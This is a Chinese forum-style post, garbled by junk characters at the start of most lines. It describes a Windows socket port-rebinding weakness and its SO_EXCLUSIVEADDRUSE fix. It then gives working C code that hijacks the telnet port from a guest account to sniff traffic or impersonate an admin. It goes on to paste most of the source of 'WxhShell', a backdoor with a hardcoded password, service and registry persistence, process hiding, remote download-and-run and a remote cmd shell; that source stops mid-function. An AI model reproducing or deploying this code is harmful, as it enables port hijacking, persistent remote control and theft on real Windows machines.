在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y0||>LX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
)aOPR|+ _FET$$>z N saddr.sin_family = AF_INET;
YRy5.F%? }BpCa6SAs saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lUR7zrwJ]o qDQ$Zq[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?>_[hZ WzC_M>_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
IfH*saN7 BmRk|b 这意味着什么?意味着可以进行如下的攻击:
p)$DpNL% p #sOkD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
AC$:.KLI q5irKT*Hs 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wi]F\ q"Y^ :CQ-?mT^LA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AQ>8] `e` m{/?6h 1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
b|cUKsL5 ng-g\&- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5s >UM@}) .."= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;BsPms@U RN0@Q~oTI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@c<*l+Qc &gn^i!%Z) #include
wz-#kH5? #include
C>d_a;pX #include
R).?lnS #include
cMCGaaLU DWORD WINAPI ClientThread(LPVOID lpParam);
1CkBfK int main()
] Fx9!S {
;E8.,#/a WORD wVersionRequested;
Q1fJ`A= DWORD ret;
jXBAo WSADATA wsaData;
)F\tU BOOL val;
.e
$W(} SOCKADDR_IN saddr;
o<*H!oyP\ SOCKADDR_IN scaddr;
nQ/R,+6h int err;
O<&8gk~ SOCKET s;
mCa[? SOCKET sc;
nQ*9|v4 int caddsize;
6R%Ra HANDLE mt;
hrpql_9. DWORD tid;
#S57SD wVersionRequested = MAKEWORD( 2, 2 );
=Fq"lq % err = WSAStartup( wVersionRequested, &wsaData );
"t4$%7L] if ( err != 0 ) {
k^
CFu printf("error!WSAStartup failed!\n");
eIzT(3( return -1;
vZHm' }
de?Bn+mvi. saddr.sin_family = AF_INET;
]]\\Y|0 &{):x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
nu1s B 4pJg saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Voi`OCut saddr.sin_port = htons(23);
kKU,|>3h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\/3Xb {
VP|ga}( printf("error!socket failed!\n");
GXV<fc"1 return -1;
WD=#. $z$ }
aKkG[qN val = TRUE;
R<}n?f\#JZ //SO_REUSEADDR选项就是可以实现端口重绑定的
Cv@ZzILyoK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.w/_Om4T*b {
K:!|xr(1d printf("error!setsockopt failed!\n");
`'Fz:i return -1;
A4lh`n5% }
-6(u09mb_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)z'LXy8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|K(j}^1k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sb"etc`w%- y^vB_[6l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-nbo[K {
86c@Kk7z ret=GetLastError();
8+ P)V4} printf("error!bind failed!\n");
>z'kCv return -1;
_e%jM[ }
Ccmo(W+0 listen(s,2);
#HjiE while(1)
Byx8`Cx1 {
Gj6(ycaS caddsize = sizeof(scaddr);
lkNaSz[ //接受连接请求
mM| 313 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3snr-) if(sc!=INVALID_SOCKET)
%?gh;? GD {
*U vh;d{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
x>5"7MR` if(mt==NULL)
/&g5f4[|p {
'l+).}, printf("Thread Creat Failed!\n");
C?v_ig break;
[<;4$}f\ }
6xk~Bt }
v7?sXW CloseHandle(mt);
}P8@\2@=T }
;Kq/[$~0 closesocket(s);
{\!_S+}{ WSACleanup();
>7yOu!l return 0;
y8=(k}=3 }
NA5AR*f' DWORD WINAPI ClientThread(LPVOID lpParam)
B3Id}[V {
Xr54/.{&@ SOCKET ss = (SOCKET)lpParam;
fAHK<G4 SOCKET sc;
f>LwsP unsigned char buf[4096];
=+K2`=y;WF SOCKADDR_IN saddr;
zmV5k long num;
VqzcTr]_ DWORD val;
AS;EO[Vn DWORD ret;
1&S34wJF //如果是隐藏端口应用的话,可以在此处加一些判断
95Q{d'& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>'>onAIL saddr.sin_family = AF_INET;
8cq H0{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!&f(Xs saddr.sin_port = htons(23);
Lq#>N_72W0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=|lw~CW {
.G"UM>.}d printf("error!socket failed!\n");
"I"(yiKD return -1;
JI{|8)S }
~*WSH&ip val = 100;
8Vcg30_+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wYxnKm~f {
!+qy~h ret = GetLastError();
b2x8t7%O return -1;
FBn`sS8hH }
>Qk4AMIO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K8,fw-S% {
eK%~`Y ret = GetLastError();
}]0f -} return -1;
9mdp\A }
h?f)Bt}ry if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vWbf5? {
^a=,,6T printf("error!socket connect failed!\n");
$ b Q4[ closesocket(sc);
^rz8c+ly closesocket(ss);
![ &
go return -1;
bERYC| }
$S~e"ca1 while(1)
jD@KG {
2rS|V|d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|Qq_;x] //如果是嗅探内容的话,可以再此处进行内容分析和记录
,j{$SuZM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J|k~e,C num = recv(ss,buf,4096,0);
jOuz-1x,& if(num>0)
}R.<\ send(sc,buf,num,0);
_1D'9!+ else if(num==0)
p=T,JAI t break;
Ol8ma`}Nq3 num = recv(sc,buf,4096,0);
j5lSu~
if(num>0)
m791w8Vr send(ss,buf,num,0);
9UD~$_<\ else if(num==0)
N%1T>cp0 break;
=d#3& R]p }
%xE9vN; closesocket(ss);
P{
AJH1 closesocket(sc);
2jQ|4$9j return 0 ;
h= uv4& }
OidF{I*O wyqXD.of 3Lx]-0h ==========================================================
S|U/m m -V
Rby 下边附上一个代码,,WXhSHELL
t/?x#X :OC`X~}Rc ==========================================================
'%&i#Eb tOn_S@/r #include "stdafx.h"
n !ty\E L_Q1:nL-0 #include <stdio.h>
'Wv=mBEfZ #include <string.h>
Do3;-yp>` #include <windows.h>
-\mbrbG9H #include <winsock2.h>
3c<).aC0f #include <winsvc.h>
Y|bCbaF #include <urlmon.h>
:-x F=Y(; S<Zb>9pl #pragma comment (lib, "Ws2_32.lib")
w!{g^*R+! #pragma comment (lib, "urlmon.lib")
|2,'QTm= vas
#define MAX_USER 100 // 最大客户端连接数
Xj :?V; #define BUF_SOCK 200 // sock buffer
]d]tQPEU #define KEY_BUFF 255 // 输入 buffer
D'y/pv}! 4zyy #define REBOOT 0 // 重启
2"
(vjnfH #define SHUTDOWN 1 // 关机
] -O/{FIv
xviz{M9g #define DEF_PORT 5000 // 监听端口
wy3{>A Z(
sWp]Zy #define REG_LEN 16 // 注册表键长度
\TM%,RC3K #define SVC_LEN 80 // NT服务名长度
\hSOJ,{)U ~2Jvb[IM // 从dll定义API
p"Ki$.Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]HoQ6R\E b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z_&6<1,H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/p|]*={ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}a= &o6= I~lX53D // wxhshell配置信息
]m0MbA struct WSCFG {
bg$df 0 int ws_port; // 监听端口
`.PZx%= char ws_passstr[REG_LEN]; // 口令
ax7]>Z=%d" int ws_autoins; // 安装标记, 1=yes 0=no
v@bs4E46e char ws_regname[REG_LEN]; // 注册表键名
Ql-RbM char ws_svcname[REG_LEN]; // 服务名
^Xjh ?+WM char ws_svcdisp[SVC_LEN]; // 服务显示名
OyVdQ". char ws_svcdesc[SVC_LEN]; // 服务描述信息
1-C 2Y` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
KL]@y!QU int ws_downexe; // 下载执行标记, 1=yes 0=no
d,j"8\@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|ToCRM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W2Y%PD9a XjpFJ#T*$A };
Q>s> @hw oWGtKtDhH // default Wxhshell configuration
J[fjl6p struct WSCFG wscfg={DEF_PORT,
FilHpnQCt "xuhuanlingzhe",
W.h6g8|wx 1,
CA[-\>J7y "Wxhshell",
!( xeDX "Wxhshell",
0tVZvXgTu "WxhShell Service",
=VkbymIZ4y "Wrsky Windows CmdShell Service",
OZdiM&Zss "Please Input Your Password: ",
gf6<`+/ 1,
D 6!`p6r+ "
http://www.wrsky.com/wxhshell.exe",
=>". "Wxhshell.exe"
8/Z };
Nq>74q]}n8 Ct[{>asun // 消息定义模块
^S*~<0NQ' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
aNgaV$|2a char *msg_ws_prompt="\n\r? for help\n\r#>";
L1#z'<IO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
il=y m char *msg_ws_ext="\n\rExit.";
F0
WM&{v char *msg_ws_end="\n\rQuit.";
|]`\ak char *msg_ws_boot="\n\rReboot...";
oGpyuB@A/ char *msg_ws_poff="\n\rShutdown...";
) &[S*g char *msg_ws_down="\n\rSave to ";
DZGM4|@<7Y -E1b5i;f char *msg_ws_err="\n\rErr!";
O)|{B>2r char *msg_ws_ok="\n\rOK!";
&d]%b`EXq B5"(NJ; char ExeFile[MAX_PATH];
gE^
{@^ int nUser = 0;
w4Nm4To HANDLE handles[MAX_USER];
]dB6-- int OsIsNt;
>pjmVlw? +Ze HZjd SERVICE_STATUS serviceStatus;
VYj hU?I SERVICE_STATUS_HANDLE hServiceStatusHandle;
ia!t~~f 1t{h)fwi // 函数声明
CqQ>"Y int Install(void);
!kZ9Ox9^ int Uninstall(void);
}6SfI; int DownloadFile(char *sURL, SOCKET wsh);
VH1PC int Boot(int flag);
Y3G$(+i8 void HideProc(void);
BE/#=$wPjM int GetOsVer(void);
:lQl;Q -e int Wxhshell(SOCKET wsl);
q6'3-@% void TalkWithClient(void *cs);
Vrl)[st!;I int CmdShell(SOCKET sock);
*Iv.W7 [ int StartFromService(void);
:X-Z|Pv8 int StartWxhshell(LPSTR lpCmdLine);
~[bS+]d! FWqnlK# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
a=bP VOID WINAPI NTServiceHandler( DWORD fdwControl );
kylR) NQzpgf|h // 数据结构和表定义
dOPA0Ja SERVICE_TABLE_ENTRY DispatchTable[] =
sU"D%G {
%''z~LzJ8 {wscfg.ws_svcname, NTServiceMain},
4Eh 2sI {NULL, NULL}
p@`rBzGp };
hXr`S4aJ Cw1Jl5OVZ // 自我安装
ncS.~F int Install(void)
(as'(+B {
vUD,%@k9 char svExeFile[MAX_PATH];
FtbqZN[ HKEY key;
J~7E8 strcpy(svExeFile,ExeFile);
,|SO'dG No8 ~~ // 如果是win9x系统,修改注册表设为自启动
yGl
(QLk if(!OsIsNt) {
$r%m<Uc;}O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O H~X~n-Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K$_ Rno" RegCloseKey(key);
jR<yV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P~nI6/r1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
OMG.64DX . RegCloseKey(key);
(,$ H!qKy return 0;
nnLE dJ}n }
41 sClC" }
LQ4GQqS* }
.&d]7@!qy else {
]|g{{PWH :_v/a+\n // 如果是NT以上系统,安装为系统服务
"(j.:jayd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
t6p}LNm(V if (schSCManager!=0)
iyNyj44
H {
H|>dF)%pj SC_HANDLE schService = CreateService
{'dpRq{c| (
!FOPFPn schSCManager,
w :2@@)pr wscfg.ws_svcname,
dA-ik wscfg.ws_svcdisp,
B6r~4=w_ SERVICE_ALL_ACCESS,
`?VtB!p@x= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%Y8#I3jVJ SERVICE_AUTO_START,
^44AE5TO SERVICE_ERROR_NORMAL,
.Q
FGIAM svExeFile,
lVY`^pw? NULL,
F-Mf~+=Dn NULL,
")kE1D% NULL,
c"R`7P NULL,
3Gi#WV4$ NULL
Rb=T'x' );
}{;m:Iia_ if (schService!=0)
FEgM4m.(G< {
NYtp&[s2- CloseServiceHandle(schService);
t(/b'Peq CloseServiceHandle(schSCManager);
NN1d?cOn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-;=0dfC( strcat(svExeFile,wscfg.ws_svcname);
vy W/f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+r[u4? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
cE[B
(e RegCloseKey(key);
/h'V1zL# return 0;
Q#NXJvI }
K(RG:e~R0i }
9?<WRM3a> CloseServiceHandle(schSCManager);
&UH .e }
vfAR^*7e }
pk2OZ,14Mj HHa
XK return 1;
_?Zg$7VJ }
I3uS?c >mRA|0$ // 自我卸载
<i34;`)b int Uninstall(void)
<a%9d<@m {
%rVC3} HKEY key;
x zmg'Br 3]DUUXg$ if(!OsIsNt) {
R}lS@ w1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zr%2oFeX, RegDeleteValue(key,wscfg.ws_regname);
(+}H
ih RegCloseKey(key);
]kUF>Wp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cLl=?^DB RegDeleteValue(key,wscfg.ws_regname);
!-1UJqO RegCloseKey(key);
gj{2"tE return 0;
7+wy`xi }
K?0f)@\nx }
0Q>f,}W%> }
WVDkCo@ else {
csP 5R3 @Bs7kjuX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~/LO @ if (schSCManager!=0)
:tclYX {
5.!iVyN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`7<4]#b^o if (schService!=0)
"w}}q>P+sA {
? pq#|PI) if(DeleteService(schService)!=0) {
^PDz"L<* CloseServiceHandle(schService);
RGd@3OjN CloseServiceHandle(schSCManager);
aOZSX3;wg return 0;
{RFpTh7f: }
%5<uQc9 CloseServiceHandle(schService);
AA[(rw }
gZbC[L CloseServiceHandle(schSCManager);
apsR26\^ }
G3O`r8oZcJ }
Gs^hqT;h Wj0=cIb return 1;
V<&x+?>S }
OxGKtnAjf *`.h8gTD, // 从指定url下载文件
fLM5L_S}Y int DownloadFile(char *sURL, SOCKET wsh)
5~GHAi
{
#6O<!{PH6 HRESULT hr;
1#rcxUSi char seps[]= "/";
4cC char *token;
KLVkPix;$ char *file;
R5PXX&Q char myURL[MAX_PATH];
t[$C r; char myFILE[MAX_PATH];
x'dU[f( ;!H<W[ strcpy(myURL,sURL);
m~`d<RM/ token=strtok(myURL,seps);
rqJ'm?>cr while(token!=NULL)
cm`Jr#kl{ {
B!: %^S file=token;
yV`H_iC token=strtok(NULL,seps);
9eOP:/'}w }
.W4P/Pw' -|s
w\Q GetCurrentDirectory(MAX_PATH,myFILE);
mO];+=3v8 strcat(myFILE, "\\");
^e*Tg& strcat(myFILE, file);
L9(mY `d>" send(wsh,myFILE,strlen(myFILE),0);
cE(P^;7D send(wsh,"...",3,0);
GQ=Zp3[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OCR`1 if(hr==S_OK)
~<[$.8* return 0;
)F_0('=t else
@ol}~&" return 1;
S0-f_,( }4'5R }
K?]><z{ OP:i;%@c // 系统电源模块
\VQv
"wid int Boot(int flag)
PeD>mCvL" {
U$zd3a_( HANDLE hToken;
vTE3-v[i TOKEN_PRIVILEGES tkp;
kD_Ac{{< Y#aL]LxZE if(OsIsNt) {
tOUpK20q.@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
i_/A,5TF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mab921-n tkp.PrivilegeCount = 1;
S5o\joc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1!N|a< # AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7 'T3Wc if(flag==REBOOT) {
(i..7B: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ylFoYROO return 0;
QT\||0V~p }
Ag[Zs%X else {
Kkfz a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
is?#wrV=K return 0;
FA5|` }
=|}_ASbzw }
R-2NJ0F7 else {
<V[Qs3uo( if(flag==REBOOT) {
1Ce7\A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
gX29c return 0;
EKQ\MC1 }
q!L@9&KAQ else {
Jd]kg,/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
eyM<#3\\S return 0;
/x2-$a:< }
:%&|5Ytb }
)P13AfK j
p"hbV return 1;
\kN?7b^ }
d_7v 1)j pCacm@(hG // win9x进程隐藏模块
~&}e8ah2 void HideProc(void)
CG[2 {
{C>E*qp}f >z #^JR\6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pW[KC! if ( hKernel != NULL )
?nf !sJ'm {
=6.4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/)+V(Jlu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
T`ofj7$: FreeLibrary(hKernel);
\v\f'eQ }
{[I]pm~n ey/{Z<D return;
_%R]TlL }
{l0[`"EF 1 eP` // 获取操作系统版本
)~X.x"}8k int GetOsVer(void)
jw 4B^2} {
WilKC|R]P OSVERSIONINFO winfo;
Zk:Kux[7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
T]_]{%z GetVersionEx(&winfo);
F<V.OFt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]z77hcjB1 return 1;
cFD3 else
rp&XzMwC4 return 0;
<%Al(Lm0 }
gJ=y7yX i)!2DXn // 客户端句柄模块
>TQNrS^$J int Wxhshell(SOCKET wsl)
s~p(59 {
rv?4S`Z,x$ SOCKET wsh;
3<
'bi}{ struct sockaddr_in client;
1m~-q4D)V DWORD myID;
7g7[a/Bts $-i(xnU/nl while(nUser<MAX_USER)
7 /6Zp? {
saa3BuV 6 int nSize=sizeof(client);
''Y'ZsQ; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\{EYkk0] if(wsh==INVALID_SOCKET) return 1;
<9 dfbI) 31GqWN`>$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8wEUly if(handles[nUser]==0)
*|4/XHi closesocket(wsh);
\1ncr4 else
`B$rr4_ nUser++;
`s8o2"12 }
}vXiq T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;F;Vm$ =]fOQN` return 0;
elGwS\sw }
-=WQed} s-801JpiJ // 关闭 socket
^wIg|Gc void CloseIt(SOCKET wsh)
i5 0c N<o {
3\ {?L closesocket(wsh);
O=5q<7PM. nUser--;
;#?G2AAv ExitThread(0);
hiKyU!)Hv }
z -c1,GOD C=Tq/L w // 客户端请求句柄
{ePtZyo0 void TalkWithClient(void *cs)
vR7S! {
^M)+2@6 7G+E+A5o& SOCKET wsh=(SOCKET)cs;
K>vi9,4/ks char pwd[SVC_LEN];
$%6.lQ char cmd[KEY_BUFF];
yvWM]A char chr[1];
9RPZj>ezjA int i,j;
;(-Wc9= X #>:9 while (nUser < MAX_USER) {
C
%i{{Y&l g#q7~#9 if(wscfg.ws_passstr) {
UOpSH{N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^o87qr0g] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8#nAs\^ //ZeroMemory(pwd,KEY_BUFF);
&n'@L9v81 i=0;
Ih HKRb[ while(i<SVC_LEN) {
RT.
%\))) Alk+MwjR // 设置超时
`t"7[Zk fd_set FdRead;
f>iDqC4 struct timeval TimeOut;
D(WdI FD_ZERO(&FdRead);
9~J#> C0} FD_SET(wsh,&FdRead);
N9#5 P! TimeOut.tv_sec=8;
J9/EJ'My TimeOut.tv_usec=0;
`\r<3? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&`IJ55Z-) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`x`zv1U 25j?0P"& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)Ut K9;@" pwd
=chr[0]; H]}mg='kI
if(chr[0]==0xd || chr[0]==0xa) { mX%T"_^
pwd=0; =h70!) Z5
break; DYF(O-hJK
} QM'|k6
i++; \fsNI T/
} rvacCwI
h0
Xc=nj
// 如果是非法用户,关闭 socket ?
q_%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A%cJ5dF8~
} dZY|6
Q@!XVQx4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I7\T :Q[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qe5;Pq !G
_^g4/G#13c
while(1) { h[;DRD!Z
)KY4BBc
ZeroMemory(cmd,KEY_BUFF); t`Rbn{
`GSl}A
// 自动支持客户端 telnet标准 r~G amjS
j=0; >`l^
C
while(j<KEY_BUFF) { ;H3~r^>c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yIC
C8M
cmd[j]=chr[0]; J|F!$m{
if(chr[0]==0xa || chr[0]==0xd) { ?[|A sw1t
cmd[j]=0; "(iDUl
break; P!SsMo6n
} V,%K"b=
j++; IE3GZk+a~
} 3 Q~0b+k
l cM
// 下载文件 DL#y_;#3_
if(strstr(cmd,"http://")) { 1*e7NJ/.,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); };R2M
if(DownloadFile(cmd,wsh)) C[';B)a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,vo]WIQ\:
else bk1.H@8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yFn~rv|&G
} ILx4[m7
else { }lXor~_i
DS9-i2
switch(cmd[0]) { Q-B/SX)!/
Y_6v@SiO
// 帮助 OrF.wcg
case '?': { jZQ{XMF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P'o]#Az
break; ^ p7z3ng
} ]4r&Q4d>O
// 安装 c_>AbF{
case 'i': { ]a`"O
if(Install()) xLb=^Xjec
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5A8# 7a
else F-F1^$]k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
}ikN
break; g{
;OgS3>
} ,:#h;4!VRF
// 卸载 a*t @k*d_
case 'r': { %O!TS_~9
if(Uninstall()) kT]jJbb"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]0O3kiVQ
else Q{5.;{/eC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %QQ 2u$
break; >4q6
} `EfFyhG$
// 显示 wxhshell 所在路径 u9(42jj[$U
case 'p': { $=X>5B
char svExeFile[MAX_PATH]; Dc*
H:x;
strcpy(svExeFile,"\n\r"); b@Dt]6_UL
strcat(svExeFile,ExeFile);
cml~Oepf
send(wsh,svExeFile,strlen(svExeFile),0); k'*vG6!
break; ri-D#F)}
} *VHWvj
// 重启 A^$xE6t
case 'b': { >JA>np
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^(Z%,j3O
if(Boot(REBOOT)) 9KB}?~Nx4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y>:U&P^
else { `A5n6*A7
closesocket(wsh); CbXSJDs
ExitThread(0); [c -|`d^
} ?bu=QV@
break; p5py3k
} )*R';/zaI
// 关机 Jamt@=
case 'd': { ho)JY
$#6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }I MV@z B
if(Boot(SHUTDOWN)) ;y{(#X#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BP l% SL
else { "LH!Trl@k
closesocket(wsh); jt(GXgm
ExitThread(0); *wsZ aQ
} 4<vi@,s
break; *>`6{0,9
} {;th~[
// 获取shell z,hBtq:-$
case 's': { ir>S\VT4
CmdShell(wsh); ;;m;f^]}
closesocket(wsh); DSWmQQ
ExitThread(0); x%O6/rl
break; >)u{%@Rcy{
} OHW|?hI=[
// 退出 @ULWVS#t2
case 'x': { /2hRLyeAZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #d<|_
CloseIt(wsh); |H]0pbC)w
break; 1G67#L)USq
} RnU7|p{
// 离开 FA;-D5=
case 'q': { T$AVMVq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); A0RSNAM
closesocket(wsh); FzP1b_i
WSACleanup(); *0eV9!y
exit(1); Zy.ls&<:
break; a1Q%Gn@R
} sekei6#fi
} w (z=xO
} (+cZP&o
B[6k
[Vs
// 提示信息 W'f"kM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wv9L}@J
} !*HJBZ]q
} AaoS &q
c53:E'g
return; RHpjJZUV
} U 8p %MFD
3:8p="$F
// shell模块句柄 i7v=o#
int CmdShell(SOCKET sock) ^c>Bh[
{ u??ti
OK{
STARTUPINFO si; vceD/ N8
ZeroMemory(&si,sizeof(si)); rlawH}1b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~T+d1md
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; arRU` 6?
PROCESS_INFORMATION ProcessInfo; Ewq@>$_!
char cmdline[]="cmd"; ='=4tj=z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fH?A.JP=a
return 0; Iz'Et'w8!
} rnQ_0d
JR
xY#k
// 自身启动模式 `4X.UPJ
int StartFromService(void) z$}9f*W}B
{ c3ru4o*K
typedef struct \%bJXTK&W
{ &WL::gy_S
DWORD ExitStatus; (xWsyo(4
DWORD PebBaseAddress; e8wPEDN*4
